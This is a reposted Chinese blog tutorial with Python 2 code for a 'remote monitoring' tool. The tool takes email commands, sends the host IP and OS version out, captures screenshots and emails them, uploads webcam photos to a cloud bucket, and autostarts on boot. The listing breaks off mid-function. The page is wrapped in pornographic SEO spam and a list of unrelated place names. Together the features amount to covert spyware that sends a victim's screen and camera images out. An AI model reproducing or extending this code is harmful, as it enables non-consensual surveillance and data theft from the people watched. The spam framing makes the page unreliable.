国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

python操作攝像頭截圖實現遠程監控的例子

2020-02-23 05:15:31
字體:
來源:轉載
供稿:網友

最近用python寫了一個遠程監控的程序,主要功能有:
1.用郵件控制所以功能
2.可以對屏幕截圖,屏幕截圖發送到郵箱
3.可以用攝像頭獲取圖片,這些圖片上傳到七牛
4.開機自啟動

代碼如下:#
#coding by loster
#
import win32api
import win32con
import platform
import socket
import time
import os
import smtplib
import poplib
from VideoCapture import Device
from email.mime.multipart import MIMEMultipart 
from email.mime.text import MIMEText 
from email.mime.image import MIMEImage
import poplib,email
from email.header import decode_header
from PIL import ImageGrab
import qiniu.conf
import qiniu.io
import qiniu.rs
#去七牛申請
qiniu.conf.ACCESS_KEY = ""
qiniu.conf.SECRET_KEY = ""

#獲取ip
def getIP():
    ip=socket.gethostbyname(socket.gethostname())
    return ip

#獲取操作系統版本、
def getSystemVersion():
    return platform.platform()

def send_Information(ip,system_version):
    info='ip:'+ip+'  '+'system version:'+system_version
    print info
    smtp=smtplib.SMTP()
    smtp.connect('smtp.sina.com')
    smtp.login('sender@sina.com','***') #改成自己的郵箱和密碼
    smtp.sendmail('sender@sina.com','reveicer@qq.com',ip+' '+system_version)#把接收郵箱改成自己另外一個郵箱
#截圖,圖片名為截圖時間
def screen_capture():
    #獲取截圖時間
    pic_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #pic_name='screen_capture'+time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    pic_name='screen'+pic_time+'.jpg'
    pic = ImageGrab.grab()
    pic.save('%s' % pic_name)
    print pic_name
    #發送圖片
    send_Img(pic_time,pic_name)
    print pic_name
    os.remove(pic_name)#刪除圖片

#發送截圖圖片到郵箱
def send_Img(pic_time,pic_name):
    msgRoot = MIMEMultipart('related') 
    msgRoot['Subject'] = pic_time

    msgText = MIMEText('<b>capture</b> <br><img src="cid:image1">','html','utf-8') 
    msgRoot.attach(msgText) 

    #fp = open('F://1.jpg', 'rb')
    fp = open(pic_name, 'rb') 
    msgImage = MIMEImage(fp.read()) 
    fp.close() 

    msgImage.add_header('Content-ID', '<image1>') 
    msgRoot.attach(msgImage) 

    smtp = smtplib.SMTP() 
    smtp.connect('smtp.sina.com','25') 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 大城县| 临清市| 鲜城| 玉树县| 平陆县| 改则县| 南阳市| 桑日县| 石家庄市| 东阳市| 汶上县| 治县。| 江口县| 毕节市| 郎溪县| 石河子市| 松原市| 探索| 大方县| 盐山县| 北票市| 江油市| 治多县| 延边| 德惠市| 江陵县| 会同县| 邵阳市| 沂南县| 偃师市| 石狮市| 上虞市| 方城县| 乌兰察布市| 靖西县| 仲巴县| 吉木萨尔县| 齐河县| 龙川县| 佛山市| 长春市|